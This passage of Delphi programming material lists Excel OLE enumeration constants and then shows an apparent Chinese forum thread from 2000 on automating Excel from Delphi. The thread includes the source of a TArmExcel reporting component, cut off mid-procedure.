xlPasteAllExceptBorders = 7;

xlPasteFormats = $FFFFEFE6;

xlPasteFormulas = $FFFFEFE5;

xlPasteComments = $FFFFEFD0;

xlPasteValues = $FFFFEFBD;

Enum XlPhoneticCharacterType;

xlKatakanaHalf = 0;

xlKatakana = 1;

xlHiragana = 2;

xlNoConversion = 3;

Enum XlPhoneticAlignment;

xlPhoneticAlignNoControl = 0;

xlPhoneticAlignLeft = 1;

xlPhoneticAlignCenter = 2;

xlPhoneticAlignDistributed = 3;

Enum XlPictureAppearance;

xlPrinter = 2;

xlScreen = 1;

Enum XlPivotFieldOrientation;

xlColumnField = 2;

xlDataField = 4;

xlHidden = 0;

xlPageField = 3;

xlRowField = 1;

Enum XlPivotFieldCalculation;

xlDifferenceFrom = 2;

xlIndex = 9;

xlNoAdditionalCalculation = $FFFFEFD1;

xlPercentDifferenceFrom = 4;

xlPercentOf = 3;

xlPercentOfColumn = 7;

xlPercentOfRow = 6;

xlPercentOfTotal = 8;

xlRunningTotal = 5;

Enum XlPlacement;

xlFreeFloating = 3;

xlMove = 2;

xlMoveAndSize = 1;

Enum XlPlatform;

xlMacintosh = 1;

xlMSDOS = 3;

xlWindows = 2;

Enum XlPrintLocation;

xlPrintSheetEnd = 1;

xlPrintInPlace = 16;

xlPrintNoComments = $FFFFEFD2;

Enum XlPriority;

xlPriorityHigh = $FFFFEFE1;

xlPriorityLow = $FFFFEFDA;

xlPriorityNormal = $FFFFEFD1;

Enum XlPTSelectionMode;

xlLabelOnly = 1;

xlDataAndLabel = 0;

xlDataOnly = 2;

xlOrigin = 3;

xlButton = 15;

xlBlanks = 4;

xlFirstRow = $100;

Enum XlRangeAutoFormat;

xlRangeAutoFormat3DEffects1 = 13;

xlRangeAutoFormat3DEffects2 = 14;

xlRangeAutoFormatAccounting1 = 4;

xlRangeAutoFormatAccounting2 = 5;

xlRangeAutoFormatAccounting3 = 6;

xlRangeAutoFormatAccounting4 = 17;

xlRangeAutoFormatClassic1 = 1;

xlRangeAutoFormatClassic2 = 2;

xlRangeAutoFormatClassic3 = 3;

xlRangeAutoFormatColor1 = 7;

xlRangeAutoFormatColor2 = 8;

xlRangeAutoFormatColor3 = 9;

xlRangeAutoFormatList1 = 10;

xlRangeAutoFormatList2 = 11;

xlRangeAutoFormatList3 = 12;

xlRangeAutoFormatLocalFormat1 = 15;

xlRangeAutoFormatLocalFormat2 = 16;

xlRangeAutoFormatLocalFormat3 = 19;

xlRangeAutoFormatLocalFormat4 = 20;

xlRangeAutoFormatReport1 = 21;

xlRangeAutoFormatReport2 = 22;

xlRangeAutoFormatReport3 = 23;

xlRangeAutoFormatReport4 = 24;

xlRangeAutoFormatReport5 = 25;

xlRangeAutoFormatReport6 = 26;

xlRangeAutoFormatReport7 = 27;

xlRangeAutoFormatReport8 = 28;

xlRangeAutoFormatReport9 = 29;

xlRangeAutoFormatReport10 = 30;

xlRangeAutoFormatClassicPivotTable = 31;

xlRangeAutoFormatTable1 = 32;

xlRangeAutoFormatTable2 = 33;

xlRangeAutoFormatTable3 = 34;

xlRangeAutoFormatTable4 = 35;

xlRangeAutoFormatTable5 = 36;

xlRangeAutoFormatTable6 = 37;

xlRangeAutoFormatTable7 = 38;

xlRangeAutoFormatTable8 = 39;

xlRangeAutoFormatTable9 = 40;

xlRangeAutoFormatTable10 = 41;

xlRangeAutoFormatPTNone = 42;

xlRangeAutoFormatNone = $FFFFEFD2;

xlRangeAutoFormatSimple = $FFFFEFC6;

Enum XlReferenceType;

xlAbsolute = 1;

xlAbsRowRelColumn = 2;

xlRelative = 4;

xlRelRowAbsColumn = 3;

Enum XlLayoutFormType;

xlTabular = 0;

xlOutline = 1;

Enum XlRoutingSlipDelivery;

xlAllAtOnce = 2;

xlOneAfterAnother = 1;

Enum XlRoutingSlipStatus;

xlNotYetRouted = 0;

xlRoutingComplete = 2;

xlRoutingInProgress = 1;

Enum XlRunAutoMacro;

xlAutoActivate = 3;

xlAutoClose = 2;

xlAutoDeactivate = 4;

xlAutoOpen = 1;

Enum XlSaveAction;

xlDoNotSaveChanges = 2;

xlSaveChanges = 1;

Enum XlSaveAsAccessMode;

xlExclusive = 3;

xlNoChange = 1;

xlShared = 2;

Enum XlSaveConflictResolution;

xlLocalSessionChanges = 2;

xlOtherSessionChanges = 3;

xlUserResolution = 1;

Enum XlSearchDirection;

xlNext = 1;

xlPrevious = 2;

Enum XlSearchOrder;

xlByColumns = 2;

xlByRows = 1;

Enum XlSheetVisibility;

xlSheetVisible = -1;

xlSheetHidden = 0;

xlSheetVeryHidden = 2;

Enum XlSortMethod;

xlPinYin = 1;

xlStroke = 2;

Enum XlSortMethodOld;

xlCodePage = 2;

xlSyllabary = 1;

Enum XlSortOrder;

xlAscending = 1;

xlDescending = 2;

Enum XlSortOrientation;

xlSortRows = 2;

xlSortColumns = 1;

Enum XlSortType;

xlSortLabels = 2;

xlSortValues = 1;

Enum XlSpecialCellsValue;

xlErrors = 16;

xlLogical = 4;

xlNumbers = 1;

xlTextValues = 2;

Enum XlSubscribeToFormat;

xlSubscribeToPicture = $FFFFEFCD;

xlSubscribeToText = $FFFFEFC2;

Enum XlSummaryRow;

xlSummaryAbove = 0;

xlSummaryBelow = 1;

Enum XlSummaryColumn;

xlSummaryOnLeft = $FFFFEFDD;

xlSummaryOnRight = $FFFFEFC8;

Enum XlSummaryReportType;

xlSummaryPivotTable = $FFFFEFCC;

xlStandardSummary = 1;

Enum XlTabPosition;

xlTabPositionFirst = 0;

xlTabPositionLast = 1;

Enum XlTextParsingType;

xlDelimited = 1;

xlFixedWidth = 2;

Enum XlTextQualifier;

xlTextQualifierDoubleQuote = 1;

xlTextQualifierNone = $FFFFEFD2;

xlTextQualifierSingleQuote = 2;

Enum XlWBATemplate;

xlWBATChart = $FFFFEFF3;

xlWBATExcel4IntlMacroSheet = 4;

xlWBATExcel4MacroSheet = 3;

xlWBATWorksheet = $FFFFEFB9;

Enum XlWindowView;

xlNormalView = 1;

xlPageBreakPreview = 2;

Enum XlXLMMacroType;

xlCommand = 2;

xlFunction = 1;

xlNotXLM = 3;

Enum XlYesNoGuess;

xlGuess = 0;

xlNo = 2;

xlYes = 1;

Enum XlBordersIndex;

xlInsideHorizontal = 12;

xlInsideVertical = 11;

xlDiagonalDown = 5;

xlDiagonalUp = 6;

xlEdgeBottom = 9;

xlEdgeLeft = 7;

xlEdgeRight = 10;

xlEdgeTop = 8;

Enum XlToolbarProtection;

xlNoButtonChanges = 1;

xlNoChanges = 4;

xlNoDockingChanges = 3;

xlToolbarProtectionNone = $FFFFEFD1;

xlNoShapeChanges = 2;

Enum XlBuiltInDialog;

xlDialogOpen = 1;

xlDialogOpenLinks = 2;

xlDialogSaveAs = 5;

xlDialogFileDelete = 6;

xlDialogPageSetup = 7;

xlDialogPrint = 8;

xlDialogPrinterSetup = 9;

xlDialogArrangeAll = 12;

xlDialogWindowSize = 13;

xlDialogWindowMove = 14;

xlDialogRun = 17;

xlDialogSetPrintTitles = 23;

xlDialogFont = 26;

xlDialogDisplay = 27;

xlDialogProtectDocument = 28;

xlDialogCalculation = 32;

xlDialogExtract = 35;

xlDialogDataDelete = 36;

xlDialogSort = 39;

xlDialogDataSeries = 40;

xlDialogTable = 41;

xlDialogFormatNumber = 42;

xlDialogAlignment = 43;

xlDialogStyle = 44;

xlDialogBorder = 45;

xlDialogCellProtection = 46;

xlDialogColumnWidth = 47;

xlDialogClear = 52;

xlDialogPasteSpecial = 53;

xlDialogEditDelete = 54;

xlDialogInsert = 55;

xlDialogPasteNames = 58;

xlDialogDefineName = 61;

xlDialogCreateNames = 62;

xlDialogFormulaGoto = 63;

xlDialogFormulaFind = 64;

xlDialogGalleryArea = 67;

xlDialogGalleryBar = 68;

xlDialogGalleryColumn = 69;

xlDialogGalleryLine = 70;

xlDialogGalleryPie = 71;

xlDialogGalleryScatter = 72;

xlDialogCombination = 73;

xlDialogGridlines = 76;

xlDialogAxes = 78;

xlDialogAttachText = 80;

xlDialogPatterns = 84;

xlDialogMainChart = 85;

xlDialogOverlay = 86;

xlDialogScale = 87;

xlDialogFormatLegend = 88;

xlDialogFormatText = 89;

xlDialogParse = 91;

xlDialogUnhide = 94;

xlDialogWorkspace = 95;

xlDialogActivate = 103;

xlDialogCopyPicture = 108;

xlDialogDeleteName = 110;

xlDialogDeleteFormat = 111;

xlDialogNew = 119;

xlDialogRowHeight = 127;

xlDialogFormatMove = 128;

xlDialogFormatSize = 129;

xlDialogFormulaReplace = 130;

xlDialogSelectSpecial = 132;

xlDialogApplyNames = 133;

xlDialogReplaceFont = 134;

xlDialogSplit = 137;

xlDialogOutline = 142;

xlDialogSaveWorkbook = 145;

xlDialogCopyChart = 147;

xlDialogFormatFont = 150;

xlDialogNote = 154;

xlDialogSetUpdateStatus = 159;

xlDialogColorPalette = 161;

xlDialogChangeLink = 166;

xlDialogAppMove = 170;

xlDialogAppSize = 171;

xlDialogMainChartType = 185;

xlDialogOverlayChartType = 186;

xlDialogOpenMail = 188;

xlDialogSendMail = 189;

xlDialogStandardFont = 190;

xlDialogConsolidate = 191;

xlDialogSortSpecial = 192;

xlDialogGallery3dArea = 193;

xlDialogGallery3dColumn = 194;

xlDialogGallery3dLine = 195;

xlDialogGallery3dPie = 196;

xlDialogView3d = 197;

xlDialogGoalSeek = 198;

xlDialogWorkgroup = 199;

xlDialogFillGroup = 200;

xlDialogUpdateLink = 201;

xlDialogPromote = 202;

xlDialogDemote = 203;

xlDialogShowDetail = 204;

xlDialogObjectProperties = 207;

xlDialogSaveNewObject = 208;

xlDialogApplyStyle = 212;

xlDialogAssignToObject = 213;

xlDialogObjectProtection = 214;

xlDialogCreatePublisher = 217;

xlDialogSubscribeTo = 218;

xlDialogShowToolbar = 220;

xlDialogPrintPreview = 222;

xlDialogEditColor = 223;

xlDialogFormatMain = 225;

xlDialogFormatOverlay = 226;

xlDialogEditSeries = 228;

xlDialogDefineStyle = 229;

xlDialogGalleryRadar = 249;

xlDialogEditionOptions = 251;

xlDialogZoom = $100;

xlDialogInsertObject = $103;

xlDialogSize = $105;

xlDialogMove = $106;

xlDialogFormatAuto = $10D;

xlDialogGallery3dBar = $110;

xlDialogGallery3dSurface = $111;

xlDialogCustomizeToolbar = $114;

xlDialogWorkbookAdd = $119;

xlDialogWorkbookMove = $11A;

xlDialogWorkbookCopy = $11B;

xlDialogWorkbookOptions = $11C;

xlDialogSaveWorkspace = $11D;

xlDialogChartWizard = $120;

xlDialogAssignToTool = $125;

xlDialogPlacement = $12C;

xlDialogFillWorkgroup = $12D;

xlDialogWorkbookNew = $12E;

xlDialogScenarioCells = $131;

xlDialogScenarioAdd = $133;

xlDialogScenarioEdit = $134;

xlDialogScenarioSummary = $137;

xlDialogPivotTableWizard = $138;

xlDialogPivotFieldProperties = $139;

xlDialogOptionsCalculation = $13E;

xlDialogOptionsEdit = $13F;

xlDialogOptionsView = $140;

xlDialogAddinManager = $141;

xlDialogMenuEditor = $142;

xlDialogAttachToolbars = $143;

xlDialogOptionsChart = $145;

xlDialogVbaInsertFile = $148;

xlDialogVbaProcedureDefinition = $14A;

xlDialogRoutingSlip = $150;

xlDialogMailLogon = $153;

xlDialogInsertPicture = $156;

xlDialogGalleryDoughnut = $158;

xlDialogChartTrend = $15E;

xlDialogWorkbookInsert = $162;

xlDialogOptionsTransition = $163;

xlDialogOptionsGeneral = $164;

xlDialogFilterAdvanced = $172;

xlDialogMailNextLetter = $17A;

xlDialogDataLabel = $17B;

xlDialogInsertTitle = $17C;

xlDialogFontProperties = $17D;

xlDialogMacroOptions = $17E;

xlDialogWorkbookUnhide = $180;

xlDialogWorkbookName = $182;

xlDialogGalleryCustom = $184;

xlDialogAddChartAutoformat = $186;

xlDialogChartAddData = $188;

xlDialogTabOrder = $18A;

xlDialogSubtotalCreate = $18E;

xlDialogWorkbookTabSplit = $19F;

xlDialogWorkbookProtect = $1A1;

xlDialogScrollbarProperties = $1A4;

xlDialogPivotShowPages = $1A5;

xlDialogTextToColumns = $1A6;

xlDialogFormatCharttype = $1A7;

xlDialogPivotFieldGroup = $1B1;

xlDialogPivotFieldUngroup = $1B2;

xlDialogCheckboxProperties = $1B3;

xlDialogLabelProperties = $1B4;

xlDialogListboxProperties = $1B5;

xlDialogEditboxProperties = $1B6;

xlDialogOpenText = $1B9;

xlDialogPushbuttonProperties = $1BD;

xlDialogFilter = $1BF;

xlDialogFunctionWizard = $1C2;

xlDialogSaveCopyAs = $1C8;

xlDialogOptionsListsAdd = $1CA;

xlDialogSeriesAxes = $1CC;

xlDialogSeriesX = $1CD;

xlDialogSeriesY = $1CE;

xlDialogErrorbarX = $1CF;

xlDialogErrorbarY = $1D0;

xlDialogFormatChart = $1D1;

xlDialogSeriesOrder = $1D2;

xlDialogMailEditMailer = $1D6;

xlDialogStandardWidth = $1D8;

xlDialogScenarioMerge = $1D9;

xlDialogProperties = $1DA;

xlDialogSummaryInfo = $1DA;

xlDialogFindFile = $1DB;

xlDialogActiveCellFont = $1DC;

xlDialogVbaMakeAddin = $1DE;

xlDialogFileSharing = $1E1;

xlDialogAutoCorrect = $1E5;

xlDialogCustomViews = $1ED;

xlDialogInsertNameLabel = $1F0;

xlDialogSeriesShape = $1F8;

xlDialogChartOptionsDataLabels = $1F9;

xlDialogChartOptionsDataTable = $1FA;

xlDialogSetBackgroundPicture = $1FD;

xlDialogDataValidation = $20D;

xlDialogChartType = $20E;

xlDialogChartLocation = $20F;

_xlDialogPhonetic = $21A;

xlDialogChartSourceData = $21C;

_xlDialogChartSourceData = $21D;

xlDialogSeriesOptions = $22D;

xlDialogPivotTableOptions = $237;

xlDialogPivotSolveOrder = $238;

xlDialogPivotCalculatedField = $23A;

xlDialogPivotCalculatedItem = $23C;

xlDialogConditionalFormatting = $247;

xlDialogInsertHyperlink = $254;

xlDialogProtectSharing = $26C;

xlDialogOptionsME = $287;

xlDialogPublishAsWebPage = $28D;

xlDialogPhonetic = $290;

xlDialogNewWebQuery = $29B;

xlDialogImportTextFile = $29A;

xlDialogExternalDataProperties = $212;

xlDialogWebOptionsGeneral = $2AB;

xlDialogWebOptionsFiles = $2AC;

xlDialogWebOptionsPictures = $2AD;

xlDialogWebOptionsEncoding = $2AE;

xlDialogWebOptionsFonts = $2AF;

xlDialogPivotClientServerSet = $2B1;

Enum XlParameterType;

xlPrompt = 0;

xlConstant = 1;

xlRange = 2;

Enum XlParameterDataType;

xlParamTypeUnknown = 0;

xlParamTypeChar = 1;

xlParamTypeNumeric = 2;

xlParamTypeDecimal = 3;

xlParamTypeInteger = 4;

xlParamTypeSmallInt = 5;

xlParamTypeFloat = 6;

xlParamTypeReal = 7;

xlParamTypeDouble = 8;

xlParamTypeVarChar = 12;

xlParamTypeDate = 9;

xlParamTypeTime = 10;

xlParamTypeTimestamp = 11;

xlParamTypeLongVarChar = -1;

xlParamTypeBinary = -2;

xlParamTypeVarBinary = -3;

xlParamTypeLongVarBinary = -4;

xlParamTypeBigInt = -5;

xlParamTypeTinyInt = -6;

xlParamTypeBit = -7;

xlParamTypeWChar = -8;

Enum XlFormControl;

xlButtonControl = 0;

xlCheckBox = 1;

xlDropDown = 2;

xlEditBox = 3;

xlGroupBox = 4;

xlLabel = 5;

xlListBox = 6;

xlOptionButton = 7;

xlScrollBar = 8;

xlSpinner = 9;

Enum XlSourceType;

xlSourceSheet = 1;

xlSourcePrintArea = 2;

xlSourceAutoFilter = 3;

xlSourceRange = 4;

xlSourceChart = 5;

xlSourcePivotTable = 6;

xlSourceQuery = 7;

Enum XlHtmlType;

xlHtmlStatic = 0;

xlHtmlCalc = 1;

xlHtmlList = 2;

xlHtmlChart = 3;

Enum xlPivotFormatType;

xlReport1 = 0;

xlReport2 = 1;

xlReport3 = 2;

xlReport4 = 3;

xlReport5 = 4;

xlReport6 = 5;

xlReport7 = 6;

xlReport8 = 7;

xlReport9 = 8;

xlReport10 = 9;

xlTable1 = 10;

xlTable2 = 11;

xlTable3 = 12;

xlTable4 = 13;

xlTable5 = 14;

xlTable6 = 15;

xlTable7 = 16;

xlTable8 = 17;

xlTable9 = 18;

xlTable10 = 19;

xlPTClassic = 20;

xlPTNone = 21;

Enum XlCmdType;

xlCmdCube = 1;

xlCmdSql = 2;

xlCmdTable = 3;

xlCmdDefault = 4;

Enum xlColumnDataType;

xlGeneralFormat = 1;

xlTextFormat = 2;

xlMDYFormat = 3;

xlDMYFormat = 4;

xlYMDFormat = 5;

xlMYDFormat = 6;

xlDYMFormat = 7;

xlYDMFormat = 8;

xlSkipColumn = 9;

xlEMDFormat = 10;

Enum xlQueryType;

xlODBCQuery = 1;

xlDAORecordSet = 2;

xlWebQuery = 4;

xlOLEDBQuery = 5;

xlTextImport = 6;

xlADORecordset = 7;

Enum xlWebSelectionType;

xlEntirePage = 1;

xlAllTables = 2;

xlSpecifiedTables = 3;

Enum XlCubeFieldType;

xlHierarchy = 1;

xlMeasure = 2;

Enum xlWebFormatting;

xlWebFormattingAll = 1;

xlWebFormattingRTF = 2;

xlWebFormattingNone = 3;

Enum xlDisplayDrawingObjects;

xlDisplayShapes = $FFFFEFF8;

xlHide = 3;

xlPlaceholders = 2;

Enum xLSubtototalLocationType;

xlAtTop = 1;

xlAtBottom = 2;


Excel

来自：Dk108 时间：00-12-20 16:37:37 ID:421921

如何利用ole automation 在excel中新建文件？

---------------------------------

来自：lq123 时间：00-12-24 22:45:00 ID:424201

Template := EmptyParam;

nid:=1;

ExcelApplication1.Workbooks.Add(Template, Nid);

excel表在DELPHI中的操作有很多。你查些源程序用吧。贴一段给你吧。

直接用 OLE 读取 EXCEL 文档。

procedure TForm1.Button1Click(Sender: TObject);

var ExcelApp,MyWorkBook: OLEVariant;

i,j: Integer;

begin

try

ExcelApp:=CreateOleObject('Excel.Application');

MyWorkBook:=CreateOleobject('Excel.Sheet');

except

application.Messagebox('无法打开Xls文件，请确认已 经安装EXCEL.','',

mb_OK+mb_IconStop);

Exit;

end;

//ExcelApp.Visible := true;

MyworkBook:= ExcelApp.workBooks.Open(ExtractFileDir(Application.ExeName)

+ ' + Edit1.Text + '.xls');

for i := 3 to 9 do begin

//Read a row into table

table1.Append;

table1.FieldByName('Name').AsString := MyWorkBook.WorkSheets[1].Cells[i,1].Value;

table1.FieldByName('Size').AsString := MyWorkBook.WorkSheets[1].Cells[i,2].Value;

table1.FieldByName('Weight').AsString := MyWorkBook.WorkSheets[1].Cells[i,3].Value;

table1.FieldByName('Area').AsString := MyWorkBook.WorkSheets[1].Cells[i,4].Value;

end;

//showmessage(MyWorkBook.WorkSheets[1].Columns[1].numberformat);

//showmessage(MyWorkBook.WorkSheets[1].Columns[2].numberformat);

ExcelApp:=Unassigned; //释放VARIANT变量

end;

--------------------------------------------------------------------------------

来自：arm 时间：00-12-25 16:07:28 ID:424796

unit armconst;

interface

CONST

xlContinuous = 1;

xlInsideHorizontal = 12;

xlInsideVertical = 11;

xlDiagonalDown = 5;

xlDiagonalUp = 6;

xlEdgeBottom = 9;

xlEdgeLeft = 7;

xlEdgeRight = 10;

xlEdgeTop = 8;

xlNone = -4142;

//pager size

type

TPaperSize=(xlPaper10x14,

xlPaper11x17,

xlPaperA3,

xlPaperA4,

xlPaperA4Small,

xlPaperA5,

xlPaperB4,

xlPaperB5,

xlPaperCsheet,

xlPaperDsheet,

xlPaperEnvelope10,

xlPaperEnvelope11,

xlPaperEnvelope12,

xlPaperEnvelope14,

xlPaperEnvelope9,

xlPaperEnvelopeB4,

xlPaperEnvelopeB5,

xlPaperEnvelopeB6,

xlPaperEnvelopeC3,

xlPaperEnvelopeC4,

xlPaperEnvelopeC5,

xlPaperEnvelopeC6,

xlPaperEnvelopeC65,

xlPaperEnvelopeDL,

xlPaperEnvelopeItaly,

xlPaperEnvelopeMonarch,

xlPaperEnvelopePersonal,

xlPaperEsheet,

xlPaperExecutive,

xlPaperFanfoldLegalGerman,

xlPaperFanfoldStdGerman,

xlPaperFanfoldUS,

xlPaperFolio,

xlPaperLedger,

xlPaperLegal,

xlPaperLetter,

xlPaperLetterSmall,

xlPaperNote,

xlPaperQuarto,

xlPaperStatement,

xlPaperTabloid,

xlPaperUser

);

const

PaperSizeMetrics : array[xlPaper10x14..xlPaperUser] of Integer =

( $00000010,

$00000011,

$00000008,

$00000009,

$0000000A,

$0000000B,

$0000000C,

$0000000D,

$00000018,

$00000019,

$00000014,

$00000015,

$00000016,

$00000017,

$00000013,

$00000021,

$00000022,

$00000023,

$0000001D,

$0000001E,

$0000001C,

$0000001F,

$00000020,

$0000001B,

$00000024,

$00000025,

$00000026,

$0000001A,

$00000007,

$00000029,

$00000028,

$00000027,

$0000000E,

$00000004,

$00000005,

$00000001,

$00000002,

$00000012,

$0000000F,

$00000006,

$00000003,

$00000100);

implementation

end.

{*******************************************************}

{ }

{ Arm Software TArmExcel Package }

{ TArmExcel Unit }

{ }

{ Copyright (C) 2000 Arm Software }

{ 作者 ：宫雨 }

{ 地址:dht@www.bjpeu.edu.cn }

{*******************************************************}

{TArmExcel 用EXCEL做报表,

1。设置纸张、页眉页脚、网格线

2。导出数据集的数据-（对部分字段）求和

3。可以选择工作表，打印预览

4。像STRINGGrid一样使用CellS属性

5。有ONExportProgress事件与用户交互

2000-09-14 修改代码结构}

unit ArmExcel;

interface

uses

Windows,comobj,Messages,SysUtils,db,Classes,Forms,armconst;

type

//用于页眉页脚

TReportTitle=class(TPersistent)

private

FLeft:string;

FCenter:string;

FRight:string;

public

published

property Left:string read Fleft write Fleft;

property Center:string read Fcenter write Fcenter;

property Right:string read FRight write FRight;

end;

//export

TExportOptions=class(TPersistent)

private

FShowSum:boolean;

FDataset:Tdataset;

FDrawGrid:boolean;

FSaveFile:boolean;

FShowExcel:boolean;

FShowFieldName:boolean;

FSaveFileName:string;

FCellColOffset,FCellRowOffset:integer;

FSumFields:TStrings;

procedure SetSumFields(const Value: TStrings);

public

constructor create;

destructor Destroy;override;

published

//user interface

property DrawGrid:boolean read FDrawGrid write FDrawGrid;

property ShowFieldName:boolean read FShowFieldName write FShowFieldName;

property SaveFileName:string read FSaveFileName write FSaveFileName;

//dataset

property CellColOffset:integer read FCellColOffset write FCellColOffset;//数据集横向偏移量

property CellRowOffset:integer read FCellRowOffset write FCellRowOffset;//数据集竖直偏移量

property SaveFile:boolean read FSaveFile write FSaveFile;

property Dataset:Tdataset read Fdataset write Fdataset; //数据集

property ShowSum:boolean read FShowSum write FShowSum;

property ShowExcel:boolean read FShowExcel write FShowExcel;

property SumFields:TStrings read FSumFields write SetSumFields;

end;

//表格线

TGridBound=class(TPersistent)

private

ftop:integer;

fbottom:integer;

fleft:integer;

fright:integer;

public

published

property top:integer read FTop write Ftop;

property bottom:integer read fbottom write fbottom;

property left:integer read Fleft write fleft;

property Right:integer read FRight write fright;

end;

type

TProgressEvent = procedure(Info: string; Count, Total: Integer) of object;

//

TArmExcel = class(TComponent)

private

msexcel:variant;

wbook:Variant;

wsheet:variant;

FFilename:string;

FPrintTitleRows:STRING;//表头

FHeader,FFooter:TReportTitle;

FExportOptions:TExportOptions;

FGrid:TGridBound;

FShowGrid: boolean;

FDirectPreview:boolean;

Factivesheet:string;

FPagerSize:TPaperSize;

FshowWindows:boolean;

Fclose:boolean;

FOnExportProgress:TProgressEvent;

procedure DrawGrid;

procedure ClearGrid;

procedure PageSetup;

function GetCells(ARow,ACol: Integer): olevariant;

procedure SetCells(ARow,ACol: Integer; const Value: olevariant);

procedure CaculateSum;

procedure SetActiveSheet(const Value: string);

procedure SetShowGrid(const Value: boolean);

procedure SetPrintTitleRows(const Value: STRING);

procedure SetPagerSize(const Value: TPaperSize);

protected

{ Protected declarations }

public

constructor Create(AOwner:TComponent);override;

destructor Destroy; override;

procedure CreateInstance;

procedure FreeExcelInstance;

procedure ExportData;

procedure ShowExcelWindow;

property Cells[ACol,ARow:Integer]: olevariant read GetCells write SetCells;

published

property FileName:string read FFileName write FFileName;//模板文件名

property Header:TReportTitle read Fheader write Fheader;//页眉

property Footer:TReportTitle read FFooter write FFooter; //页脚

property ExportOptions:TExportOptions read FExportOptions write FExportOptions;

property ShowGrid:boolean read FShowGrid write SetShowGrid ; //显示网格

property GridBound:TGridBound read FGrid write FGrid;//网格边界

PROPERTY PrintTitleRows:STRING READ FPrintTitleRows WRITE SetPrintTitleRows;//每页表头

property ActiveSheet:string Read FActiveSheet write SetActiveSheet;//当前工作表

property PaperSize:TPaperSize read FPagerSize write SetPagerSize ; //纸张大小

property DirectPreview:boolean read FDirectPreview write FDirectPreview; //直接预览

property CloseExcelWhenAppClose:boolean read Fclose write Fclose;//当程序关闭时关闭Excel

property ShowWindowAfterOpen:boolean read FshowWindows write FshowWindows;

//event

property OnExportProgress:TProgressEvent read FOnExportProgress write FOnExportProgress;//进度显示

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('宫雨', [TArmExcel]);

end;

{ TArmExcel }

constructor TArmExcel.create(aowner: TComponent);

begin

inherited Create(AOwner);

Fheader:=TReportTitle.create;

FFooter:=TReportTitle.create;

Fgrid:=TGridBound.create;

FExportOptions:=TExportOptions.Create;

FShowGrid:=False;

FClose:=True;

FDirectPreview:=false;

FPagerSize:=xlPaperA4;

end;

procedure TArmExcel.createinstance;

begin

MsExcel:= CreateOleObject('Excel.Application');

WBook:=MsExcel.Application;

if (filename<>'') and (FileExists(FileName)) then

wbook.workbooks.Open(filename)

else

wbook.workbooks.add;

if activesheet<>'' then

wbook.Sheets[activesheet].Select;

WSheet:=WBook.ActiveSheet;

if showgrid then

DrawGrid;

PageSetup;

if FshowWindows then

ShowExcelWindow;

end;

destructor TArmExcel.Destroy;

begin

if fclose then

freeEXCElinstance;

Fheader.Free;

FFooter.Free;

Fgrid.Free;

FExportOptions.Free;

inherited Destroy;

end;

procedure TArmExcel.drawgrid;

VAR

ATXT:STRING;

begin

if Varisempty(wsheet) then

exit;

WITH GridBound DO

BEGIN

ATXT:=chr(64+left)+inttostr(top)+':'+chr(64+RIGHT)+inttostr(bottom);

WSheet.Range[ATXT].Borders[xlDiagonalDown].LineStyle:= xlNone;

WSheet.Range[ATXT].Borders[xlDiagonalUp].LineStyle:=xlNone;

WSheet.Range[ATXT].Borders[xlEdgeLeft].LineStyle:=xlContinuous;

WSheet.Range[ATXT].Borders[xlEdgeTop].LineStyle:=xlContinuous;

WSheet.Range[ATXT].Borders[xlEdgeBottom].LineStyle:=xlContinuous;

WSheet.Range[ATXT].Borders[xlEdgeRight].LineStyle:=xlContinuous;

WSheet.Range[ATXT].Borders[xlInsideVertical].LineStyle:=xlContinuous;

WSheet.Range[ATXT].Borders[xlInsideHorizontal].LineStyle:=xlContinuous;

END;

end;

procedure TArmExcel.FreeExcelInstance;

begin

if not varisempty(wbook) then

begin

Wbook.DisplayAlerts:=False;

Wbook.quit;

WBook:= UnAssigned;

end;

end;

function TArmExcel.GetCells(ARow,ACol: Integer): olevariant;

begin

if not varisempty(wsheet) then

result:=wsheet.cells[arow,acol].value;

end;

procedure TArmExcel.PageSetup;

begin

WSheet.PageSetup.PrintTitleRows:=PrintTitleRows;

if Header.left<>'' then

wsheet.pagesetup.LeftHeader:=Header.left;

if Header.right<>'' then

wsheet.pagesetup.RightHeader:=Header.RIGHT;

if Header.Center<>'' then

wsheet.pagesetup.CenterHeader:=Header.CENTER;

if FOOTER.left<>'' then

wsheet.pagesetup.LeftFooter:=Footer.left;

if FOOTER.right<>'' then

wsheet.pagesetup.RightFooter:=Footer.RIGHT;

if FOOTER.center<>'' then

wsheet.pagesetup.CenterFooter:=Footer.CENTER;

wsheet.pagesetup.PaperSize:=PaperSizeMetrics[PaperSize];

if (DirectPreview) then

wbook.ActiveWindow.SelectedSheets.PrintPreview;

end;

procedure TArmExcel.SetCells(ARow,ACol:Integer; const Value: olevariant);

begin

if not varisempty(wsheet) then

wsheet.cells[AROw,ACol].value:=value;

end;

procedure TArmExcel.ShowExcelWindow;

begin

WBook.Visible:=True;

end;

procedure TArmExcel.ExportData;

const

info='进度：%D/%D';

var

i,j,index:integer;

SavePlace: TBookmark;

begin

if ExportOptions.dataset=nil then

exit;

if not ExportOptions.dataset.active then

exit;

with ExportOptions.dataset,ExportOptions do

begin

SavePlace := GetBookmark;

disablecontrols;

first;

i:=1;

if ShowFieldName then

begin

for j:=0 to fieldcount-1 do

wsheet.cells[1+CellColOffset,j+1+CellRowOffset]:=fields[j].DisplayLabel;

i:=i+1;

end;

while not eof do

begin

for j:=0 to fieldcount-1 do

if fields[j].datatype in [Ftfloat,ftSmallint,ftInteger,ftWord,ftCurrency] then

wsheet.cells[i+CellColOffset,j+1+CellRowOffset]:=fields[j].asfloat

else

wsheet.cells[i+CellColOffset,j+1+CellRowOffset]:=fields[j].asstring;

next;

if Assigned(OnExportProgress) then

if ShowFieldName then

OnExportProgress(format(info,[i,RecordCount+1]),I,RecordCount)

else

OnExportProgress(format(info,[i,RecordCount]),I,RecordCount);

Application.ProcessMessages;

i:=i+1;

end;

if ShowSum and (Sumfields.Count<>0) then

begin

for j:=0 to fieldcount-1 do

if Tstringlist(sumfields).find(fields[j].FieldName,index) then

begin

if fields[j].datatype in [Ftfloat,ftSmallint,ftInteger,ftWord,ftCurrency] then

if ShowFieldName then

wsheet.Cells[i+CellColOffset,j+1+CellRowOffset]:='=sum('+chr(j+CellColOffset+65)

+inttostr(CellRowOffset+2)+':'+chr(j+CellColOffset+65)+inttostr(CellRowOffset+1+recordcount)+')'

else

wsheet.Cells[i+CellColOffset,j+1+CellRowOffset]:='=sum('+chr(j+CellColOffset+65)

+inttostr(CellRowOffset+1)+':'+chr(j+CellColOffset+65)+inttostr(CellRowOffset+recordcount)+')';

end;

end;

GotoBookmark(SavePlace);

FreeBookmark(SavePlace);

enablecontrols;
